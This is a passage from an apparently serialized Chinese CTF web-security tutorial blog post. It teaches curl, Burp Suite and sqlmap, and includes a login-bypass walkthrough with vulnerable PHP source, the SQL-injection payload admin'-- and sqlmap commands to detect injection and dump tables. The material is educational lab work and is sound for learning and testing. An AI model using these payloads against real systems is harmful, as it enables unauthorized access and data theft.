(!in_array($scheme, $allowed)) die(\"not allowed\");\n",[29,14195,14196],{"class":31,"line":157},[29,14197,14198],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,14200,14202],{"id":14201},"六必学工具-1curl","六、必学工具 1：curl",[15,14204,14205],{},"三个核心功能，逐个演示。",[15,14207,14208],{},"功能 1：带参数 GET。",[19,14210,14211],{"className":82,"code":274,"language":84,"meta":24,"style":24},[26,14212,14213],{"__ignoreMap":24},[29,14214,14215,14217,14219,14221],{"class":31,"line":32},[29,14216,281],{"class":91},[29,14218,285],{"class":284},[29,14220,288],{"class":95},[29,14222,291],{"class":284},[15,14224,1762,14225,127],{},[26,14226,368],{},[15,14228,14229,14230,9750],{},"功能 2：查看完整请求与响应（",[26,14231,12911],{},[19,14233,14235],{"className":82,"code":14234,"language":84,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[26,14236,14237,14249,14254,14259],{"__ignoreMap":24},[29,14238,14239,14241,14243,14245,14247],{"class":31,"line":32},[29,14240,281],{"class":91},[29,14242,12899],{"class":116},[29,14244,285],{"class":284},[29,14246,288],{"class":95},[29,14248,291],{"class":284},[29,14250,14251],{"class":31,"line":38},[29,14252,14253],{"class":3002},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[29,14255,14256],{"class":31,"line":111},[29,14257,14258],{"class":3002},"# \u003C 开头是响应行与响应头，最后是正文。\n",[29,14260,14261],{"class":31,"line":157},[29,14262,14263],{"class":3002},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,14265,14266,14267,14269,14270,14272],{},"输出中 ",[26,14268,13928],{}," 开头的是请求，",[26,14271,6958],{}," 开头的是响应，最下面是正文。",[15,14274,14275,14276,9750],{},"功能 3：POST 数据（",[26,14277,14278],{},"-d",[19,14280,14282],{"className":82,"code":14281,"language":84,"meta":24,"style":24},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[26,14283,14284],{"__ignoreMap":24},[29,14285,14286,14288,14291,14294,14296,14299,14301,14303,14305,14308],{"class":31,"line":32},[29,14287,281],{"class":91},[29,14289,14290],{"class":116}," -X",[29,14292,14293],{"class":95}," POST",[29,14295,285],{"class":284},[29,14297,14298],{"class":95},"http://127.0.0.1:8000/login.php",[29,14300,955],{"class":284},[29,14302,1831],{"class":116},[29,14304,285],{"class":284},[29,14306,14307],{"class":95},"username=admin&password=123",[29,14309,291],{"class":284},[15,14311,14312],{},"用于登录、上传等需要 POST 的场景。",[10,14314,14316],{"id":14315},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14318,14319],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[1325,14321,14322,14335],{},[1328,14323,14324],{},[1331,14325,14326,14329,14332],{},[1334,14327,14328],{},"模块",[1334,14330,14331],{},"用途",[1334,14333,14334],{},"操作步骤",[1344,14336,14337,14352,14363],{},[1331,14338,14339,14342,14345],{},[1349,14340,14341],{},"Proxy",[1349,14343,14344],{},"拦截请求",[1349,14346,14347,14348,14351],{},"浏览器设置代理 ",[26,14349,14350],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[1331,14353,14354,14357,14360],{},[1349,14355,14356],{},"Repeater",[1349,14358,14359],{},"手工重放",[1349,14361,14362],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[1331,14364,14365,14368,14371],{},[1349,14366,14367],{},"Intruder",[1349,14369,14370],{},"自动化遍历",[1349,14372,14373],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14375,14376],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14378,14380],{"id":14379},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14382,14383],{},"SQL 注入自动化工具。三个核心命令：",[15,14385,14386],{},"命令 1：检测。",[19,14388,14389],{"className":82,"code":938,"language":84,"meta":24,"style":24},[26,14390,14391],{"__ignoreMap":24},[29,14392,14393,14395,14397,14399,14401,14403],{"class":31,"line":32},[29,14394,945],{"class":91},[29,14396,948],{"class":116},[29,14398,285],{"class":284},[29,14400,288],{"class":95},[29,14402,955],{"class":284},[29,14404,958],{"class":116},[15,14406,961],{},[19,14408,14410],{"className":14409,"code":965,"language":300,"meta":24},[298],[26,14411,965],{"__ignoreMap":24},[15,14413,14414],{},"命令 2：列数据库。",[19,14416,14417],{"className":82,"code":974,"language":84,"meta":24,"style":24},[26,14418,14419],{"__ignoreMap":24},[29,14420,14421,14423,14425,14427,14429,14431],{"class":31,"line":32},[29,14422,945],{"class":91},[29,14424,948],{"class":116},[29,14426,285],{"class":284},[29,14428,288],{"class":95},[29,14430,955],{"class":284},[29,14432,991],{"class":116},[15,14434,14435,14436,127],{},"预期输出：数据库列表，包含 ",[26,14437,550],{},[15,14439,14440],{},"命令 3：导出数据。",[19,14442,14443],{"className":82,"code":1003,"language":84,"meta":24,"style":24},[26,14444,14445],{"__ignoreMap":24},[29,14446,14447,14449,14451,14453,14455,14457,14459,14461,14463,14465],{"class":31,"line":32},[29,14448,945],{"class":91},[29,14450,948],{"class":116},[29,14452,285],{"class":284},[29,14454,288],{"class":95},[29,14456,955],{"class":284},[29,14458,1020],{"class":116},[29,14460,1023],{"class":95},[29,14462,1026],{"class":116},[29,14464,1029],{"class":95},[29,14466,1032],{"class":116},[15,14468,294,14469,14471,14472,127],{},[26,14470,600],{}," 表内容，即 ",[26,14473,640],{},[10,14475,14477],{"id":14476},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14479,14480,14481,14484],{},"题目：登录页 ",[26,14482,14483],{},"login.php","，源码：",[19,14486,14488],{"className":21,"code":14487,"language":23,"meta":24,"style":24},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[26,14489,14490,14495,14500],{"__ignoreMap":24},[29,14491,14492],{"class":31,"line":32},[29,14493,14494],{},"$user = $_POST['user'];\n",[29,14496,14497],{"class":31,"line":38},[29,14498,14499],{},"$pass = $_POST['pass'];\n",[29,14501,14502],{"class":31,"line":111},[29,14503,14504],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[76,14506,14508],{"id":14507},"第一步正常登录失败","第一步：正常登录失败",[15,14510,14511,14513],{},[67,14512,251],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[19,14515,14517],{"className":82,"code":14516,"language":84,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[26,14518,14519],{"__ignoreMap":24},[29,14520,14521,14523,14525,14527,14529,14532,14534,14537,14539,14542],{"class":31,"line":32},[29,14522,281],{"class":91},[29,14524,14290],{"class":116},[29,14526,14293],{"class":95},[29,14528,285],{"class":284},[29,14530,14531],{"class":95},"http://target/login.php",[29,14533,955],{"class":284},[29,14535,14536],{"class":116}," --data",[29,14538,285],{"class":284},[29,14540,14541],{"class":95},"user=admin&pass=wrong",[29,14543,291],{"class":284},[15,14545,1762,14546,127],{},[26,14547,14548],{},"Login failed",[76,14550,14552],{"id":14551},"第二步构造绕过","第二步：构造绕过",[15,14554,14555,14557,14558,14561],{},[67,14556,261],{},"：观察源码 ",[26,14559,14560],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14563,14564,14566,14567,14569,14570,1728,14573,14576,14577,4291,14579,9750],{},[67,14565,2096],{},"：发送 payload 后看是否从 ",[26,14568,14548],{}," 变成成功页面；若失败，尝试 ",[26,14571,14572],{},"admin'#",[26,14574,14575],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[26,14578,13647],{},[26,14580,14581],{},"#",[15,14583,1621],{},[19,14585,14587],{"className":82,"code":14586,"language":84,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[26,14588,14589],{"__ignoreMap":24},[29,14590,14591,14593,14595,14597,14599,14601,14603,14605,14607,14610],{"class":31,"line":32},[29,14592,281],{"class":91},[29,14594,14290],{"class":116},[29,14596,14293],{"class":95},[29,14598,285],{"class":284},[29,14600,14531],{"class":95},[29,14602,955],{"class":284},[29,14604,14536],{"class":116},[29,14606,285],{"class":284},[29,14608,14609],{"class":95},"user=admin'--+&pass=wrong",[29,14611,291],{"class":284},[15,14613,14614],{},"实际执行的 SQL：",[19,14616,14618],{"className":54,"code":14617,"language":56,"meta":24,"style":24},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[26,14619,14620],{"__ignoreMap":24},[29,14621,14622],{"class":31,"line":32},[29,14623,14617],{},[15,14625,14626,14628,14629,14632],{},[26,14627,13647],{}," 注释掉密码部分。预期输出：",[26,14630,14631],{},"Login success"," 和 flag。",[15,14634,14635,14638,14639,14642,14643,14646],{},[67,14636,14637],{},"为什么能成功","：数据库中确实存在 ",[26,14640,14641],{},"admin"," 用户，查询 ",[26,14644,14645],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[76,14648,14650],{"id":14649},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14652,14653,14655],{},[67,14654,251],{},"：用工具确认手工结论，同时自动探测其他注入点。",[19,14657,14659],{"className":82,"code":14658,"language":84,"meta":24,"style":24},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[26,14660,14661,14684,14689,14694],{"__ignoreMap":24},[29,14662,14663,14665,14667,14669,14671,14673,14675,14677,14680,14682],{"class":31,"line":32},[29,14664,945],{"class":91},[29,14666,948],{"class":116},[29,14668,285],{"class":284},[29,14670,14531],{"class":95},[29,14672,955],{"class":284},[29,14674,14536],{"class":116},[29,14676,285],{"class":284},[29,14678,14679],{"class":95},"user=a&pass=b",[29,14681,955],{"class":284},[29,14683,958],{"class":116},[29,14685,14686],{"class":31,"line":38},[29,14687,14688],{"class":3002},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[29,14690,14691],{"class":31,"line":111},[29,14692,14693],{"class":3002},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[29,14695,14696],{"class":31,"line":157},[29,14697,14698],{"class":3002},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14700,14701,14702,14705],{},"预期输出：报告 ",[26,14703,14704],{},"Parameter: user (POST)"," 存在注入。",[10,14707,3649],{"id":3648},[15,14709,14710],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1463,14712,14713],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":14715},[14716,14717,14718,14719,14720,14721,14722,14723,14724,14725],{"id":12883,"depth":111,"text":12884},{"id":12991,"depth":111,"text":12992},{"id":13089,"depth":111,"text":13090},{"id":13684,"depth":111,"text":13685},{"id":13977,"depth":111,"text":13978},{"id":14201,"depth":111,"text":14202},{"id":14315,"depth":111,"text":14316},{"id":14379,"depth":111,"text":14380},{"id":14476,"depth":111,"text":14477},{"id":3648,"depth":111,"text":3649},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1480,"image":14728,"alt":14729,"tags":14730,"published":740},"/blogs-img/blog9.png","CTF Web 入门",[550,1484,1486],"/blogs/ctf-web-overview",{"title":12878,"description":14726},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567341]